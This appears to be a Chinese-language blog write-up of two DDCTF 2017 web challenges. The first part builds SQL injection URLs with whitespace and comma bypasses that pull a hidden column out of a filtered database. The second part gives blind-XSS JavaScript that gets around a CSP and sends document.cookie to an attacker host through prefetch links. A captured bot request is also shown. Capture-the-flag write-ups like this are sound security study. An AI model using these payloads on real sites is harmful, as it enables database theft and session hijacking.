更新两篇之前在其他地方发过的文章

sqli

地址: https://118.190.134.8/t1/news.php?id=1

尝试sql注入,会发现过滤了’和空格等。使用
https://118.190.134.8/t1/news.php?id=1%0aand%0a1=1https://118.190.134.8/t1/news.php?id=1%0aand%0a1=2 判断注入存在,开始思考出数据的方法

https://118.190.134.8/t1/news.php?id=1%0aorder%0aby%0a5
判断字段数为4

https://118.190.134.8/t1/news.php?id=1union%0aselect%0a1,2,3,4
发现过滤了逗号

那就不好用union出数据了,可选择使用盲注出数据比如(select%a0ascii(substr((select%a0TABLE_NAME%a0from%a0information_schema.tables%a0where%a0TABLE_TYPE%a0=%a0"BASE%a0TABLE"%a0limit%a01%a0OFFSET%a02)%a0from%a01%a0for%a01))=1)%23。但是这里其实有一个union出数据的tip可以使用:

1
2
3
4
5
6
mysql $> select 1,2,3,4 Union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d
+-----+-----+-----+-----+
| 1 | 2 | 3 | 4 |
|-----+-----+-----+-----|
| 1 | 2 | 3 | 4 |
+-----+-----+-----+-----+

https://118.190.134.8/t1/news.php?id=-1%0aUnion%0aselect%0a*%0afrom%0a(select%0a1)a%0ajoin%0a(select%0a2)b%0ajoin%0a(select%0a3)c%0ajoin%0a(select%0a4)d
判断2和3是出数据的点

库名:
https://118.190.134.8/t1/news.php?id=-1%0aunion%0a(select%0a*%0afrom%0a(select%0a1)a%0ajoin%0a(select%0a(SELECT%0adatabase()))b%0ajoin%0a(select%0a3)c%0ajoin%0a(select%0a4)d)

表:
https://118.190.134.8/t1/news.php
?id=-1%0aunion%0a(select%0a*%0afrom%0a(select%0a1)a%0ajoin%0a(select%0a(
SELECT%0agroup_concat(table_name)%0aFROM%0ainformation_schema.tables%0aWHERE%0atable_schema%0a=%0a0x7431
))b%0ajoin%0a(select%0a3)c%0ajoin%0a(select%0a4)d)

表中列:

https://118.190.134.8/t1/news.php
?id=-1%0aunion%0a(select%0a*%0afrom%0a(select%0a1)a%0ajoin%0a(select%0a(
SELECT%0agroup_concat(column_name)%0aFROM%0ainformation_schema.columns%0aWHERE%0atable_schema%0a=%0a0x7431
))b%0ajoin%0a(select%0a3)c%0ajoin%0a(select%0a4)d)

有个列叫secret,但是这个waf的黑名单中(https://118.190.134.8/t1/news.php?id=-1%a0union%a0(select%a0*%a0from%a0(select%a01)a%a0join%a0(select%a0 (select%a0group_concat(secret)%a0from%a0news) )b%a0join%a0(select%a03)c%a0join%a0(select%a04)d)触发waf),这个就有点故意刁难你的意思了。也是ctf的常用套路。
怎么不用列名出列数据呢?这里有一个新的tip:

select x.4 from (select 1,2,3,4)x

这样就可以利用位置代替列名了,最后出flag的payload

https://118.190.134.8/t1/news.php?id=-1%a0union%a0(select%a0*%a0from%a0(select%a01)a%a0join%a0(select%a0(select%0Ax.4%0Afrom%0A(select%0A*%0Afrom%0A(select%0A1)a%0Ajoin%0A(select%0A2)b%0Ajoin%0A(select%0A3)c%0Ajoin%0A(select%0A4)d%0AUNION%0Aselect%0A*%0Afrom%0Anews)x%0ALIMIT%0A1%0Aoffset%0A4))b%a0join%a0(select%a03)c%a0join%a0(select%a04)d)

xss

比起上一道题目xss更富有实战意义。

https://114.215.24.14/t2/

现在各种报错.
第一道坎是ctf管用套路, verification code (substr(md5($_POST['code']),6,6)==='417c85'), 写个脚本跑一些md5出来用grep找即可

判断是一个xss的盲打题,有csp.

Content-Security-Policy:default-src ‘self’; script-src ‘self’

利用evi1m0同学挖掘到的CSP bypass,在远程服务器上收到了bot的请求包。(csp bypass: https://linux.im/2016/10/27/Bypass_unsafe_inline_mode_CSP.html)

这里你需要一个记录所有http请求包的HttpServer应用。我们需要查看程序请求包中的url和Referer等信息,例如:”https://gist.github.com/neargle/e6f4eb9bd37a9569237c7cc38783a735"。

我们可以根据log中的Referer找到BOT所访问的页面:

1
2
3
4
5
6
7
8
9
10
11
[22:09:51] GET /ddctf? HTTP/1.1

GET /ddctf? HTTP/1.1
Connection: keep-alive
Referer: https://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=xxxxxxxxxxx
Accept: */*
Host: xxxxxxxx:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Accept-Language: en-US,en;q=0.8
Purpose: prefetch
Accept-Encoding: gzip, deflate, sdch

Curl一下referer可知,该页面的所有内容就是我们提交的代码。这里需要一个脑洞,我们要用第一次提交内容来当js代码,获取Referer之后,提交第二次内容,包含第一次提交的js url,使得代码符合csp的限制并执行。

第一次payload:

1
var n0t = document.createElement("link");n0t.setAttribute("rel", "prefetch");n0t.setAttribute("href", "//xxxxxx.com:8888/ddctf/?" + document.cookie);document.body.appendChild(n0t);//<link rel='prefetch' href='https://xxxxxxx:8888/ddctf'>

拿到referer之后第二个payload:

1
<script src="https://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=xxxxxxxxxxx"></script>

这样我们就获取到了bot上面的cookie。使用cookie到message页面上一看,有一个url和一个hit。https://114.215.24.14/t2/f1ag_1s_h3r3/, hit:setcookie(“flag”, “xxxxxxx”, path=”/t2/f1ag_1s_h3r3/“);

页面内容:U need find it!!

需要去获取path下的cookie,重新构造payload。

1
2
3
4
5
6
7
8
9
10
v = document.createElement("iframe");
v.src="https://114.215.24.14/t2/f1ag_1s_h3r3/";
document.body.appendChild(v);
setTimeout(function(){
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//xxxxxxxxx.com:8888/ddctf/?" + encodeURI(v.contentWindow.document.cookie.toString()));
document.body.appendChild(n0t);
},1000);
//<link rel='prefetch' href='https://xxxxxxxxx.com:8888/ddctf'>

cookie内有flag。

thanks

evi1m0

https://sec.didichuxing.com/DDCTF/2017.html#/

https://linux.im/2016/10/27/Bypass_unsafe_inline_mode_CSP.html

https://gist.github.com/neargle/e6f4eb9bd37a9569237c7cc38783a735

本博客所有内容只用于安全研究,请勿用于恶意攻击。
本文URL: "https://blog.neargle.com/2017/09/01/ddctf-web-xss-sqli-writeup/index.html"